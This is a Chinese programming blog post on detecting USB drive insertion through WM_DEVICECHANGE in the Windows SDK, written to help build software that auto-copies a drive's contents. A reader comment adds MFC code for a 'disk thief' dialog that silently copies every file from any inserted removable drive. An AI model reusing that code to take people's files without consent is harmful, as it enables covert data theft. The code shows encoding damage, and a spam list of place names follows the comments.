程序人生

          撰寫生活代碼,等待編譯美好人生
          隨筆 - 48, 文章 - 0, 評(píng)論 - 29, 引用 - 0
          數(shù)據(jù)加載中……

          WINDOWS SDK 檢測(cè)U盤插入

          今天一位老兄要我?guī)兔ψ鲆粋€(gè)軟件,需要把在U盤插入U(xiǎn)SB接口激活之后自動(dòng)把U盤里的內(nèi)容拷貝到硬上。拷貝文件不難,麻煩的就是不知道怎么檢測(cè)U盤是否激活,激活后又是哪個(gè)盤符。
          google了一下,在MSDN上看了幾個(gè)例子,找到了檢測(cè)U盤插入,并確定其盤符的方法。

          下面給出窗口的回調(diào)函數(shù):
          ?1?LRESULT?CALLBACK?WndProc?(HWND?hWnd,?UINT?message,?WPARAM?wParam,?LPARAM?lParam)
          ?2?
          ?3?{
          ?4?????
          ?5?????switch?(message)?
          ?6?????{
          ?7?????????
          ?8?????case?WM_CREATE:/*初始化*/
          ?9?????????
          10?????????MessageBox(hWnd,?"go!",?"405?Studio",?MB_OK);
          11?????????
          12?????????break;
          13?????????
          14?????case?WM_DEVICECHANGE:
          15?????????
          16?????????if(wParam?==?DBT_DEVICEARRIVAL)?//設(shè)備激活
          17?????????{
          18?????????????PDEV_BROADCAST_HDR?lpdb?=?(PDEV_BROADCAST_HDR)lParam;
          19?????????????
          20?????????????PDEV_BROADCAST_VOLUME?lpdbv?=?(PDEV_BROADCAST_VOLUME)lpdb;
          21?????????????
          22?????????????char?szMsg[80];
          23?????????????wsprintf?(szMsg,?"Drive?%c:?Media?has?arrived.\n",
          24?????????????????FirstDriveFromMask(lpdbv?->dbcv_unitmask));
          25?????????????
          26?????????????MessageBox?(hWnd,?szMsg,?"WM_DEVICECHANGE",?MB_OK);
          27?????????????
          28?????????}
          29?????????
          30?????????break;
          31?????????
          32?????default:
          33?????????return?DefWindowProc?(hWnd,?message,?wParam,?lParam)?;
          34?????}
          35?????
          36?????return?0;
          37?????
          38?}
          原理很簡(jiǎn)單檢測(cè)U盤是否被插入是通過監(jiān)聽WM_DEVICECHANGE消息來實(shí)現(xiàn)的。18,19行是從WM_DEVICECHANGE的lParam里獲取盤符。
          FirstDriveFromMask是一個(gè)用返回盤符(A,B,C ....)的簡(jiǎn)單函數(shù)
          ?1?char?FirstDriveFromMask?(ULONG?unitmask)
          ?2?{
          ?3?????char?i;
          ?4?????
          ?5?????for?(i?=?0;?i?<?26;?++i)
          ?6?????{
          ?7?????????if?(unitmask?&?0x1)
          ?8?????????????break;
          ?9?????????unitmask?=?unitmask?>>?1;
          10?????}
          11?????
          12?????return?(i?+?'A');
          13?}

          posted on 2006-04-12 23:33 405 Studio 閱讀(2341) 評(píng)論(2)  編輯  收藏 所屬分類: Windows Programing

          評(píng)論

          # re: WINDOWS SDK 檢測(cè)U盤插入  回復(fù)  更多評(píng)論   

          請(qǐng)問這是怎么實(shí)現(xiàn)的,這種程序我也要用。謝謝
          我的QQ:651764799
          2006-10-08 17:05 | lsy

          # re: WINDOWS SDK 檢測(cè)U盤插入  回復(fù)  更多評(píng)論   

          //-------查找U盤-------------------------------
          CString CFDiskThiefDlg::FindFdisk()
          {
          CString strdir="";
          for(char cc='A';cc<='Z';cc++)
          {
          strdir.Format("%c:",cc);
          if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移動(dòng)盤
          return strdir;
          }
          return strdir="";
          }
          //--------復(fù)制文件-----------------------------
          void CFDiskThiefDlg::CopyFile(CString dir)
          {
          CFileFind tempFind;
          CString tempFileFind;
          tempFileFind.Format("%s\\*.*",dir);
          BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
          while(IsFinded)
          {
          IsFinded=(BOOL)tempFind.FindNextFile();
          if(!tempFind.IsDots())
          {
          CString foundFileName;
          foundFileName=tempFind.GetFileName();

          if(tempFind.IsDirectory())
          {
          CString tempDir;
          tempDir.Format("%s\\%s",dir,foundFileName);
          CopyFile(tempDir);
          }
          else
          {
          CString tempFileName1,tempFileName2;
          tempFileName1.Format("%s\\%s",dir,foundFileName);
          tempFileName2.Format("%s\\%s",m_Path,foundFileName);
          ::CopyFile(tempFileName1,tempFileName2,FALSE);
          }
          }
          }
          tempFind.Close();
          }

          void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
          {
          // TODO: Add your message handler code here and/or call default
          if(IsRun)
          {
          m_NewFdisk=FindFdisk();

          if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
          {
          CopyFile(m_NewFdisk);
          }
          if(m_NewFdisk!="")
          m_OldFdisk=m_NewFdisk;
          else
          m_OldFdisk="NULL";
          }

          CDialog::OnTimer(nIDEvent);
          }

          2008-01-03 10:56 | 師弟

          只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。


          網(wǎng)站導(dǎo)航:
           
          主站蜘蛛池模板: 禹州市| 百色市| 衡水市| 霞浦县| 乐清市| 海城市| 怀柔区| 邢台县| 桐城市| 沐川县| 综艺| 洛隆县| 玉屏| 合作市| 屏东县| 车险| 阳曲县| 武川县| 绥中县| 旌德县| 阳城县| 晋宁县| 福清市| 大埔区| 炎陵县| 民权县| 南康市| 西藏| 平南县| 石狮市| 廊坊市| 上思县| 永年县| 彭州市| 涞水县| 常山县| 谷城县| 会泽县| 宣威市| 噶尔县| 玉溪市|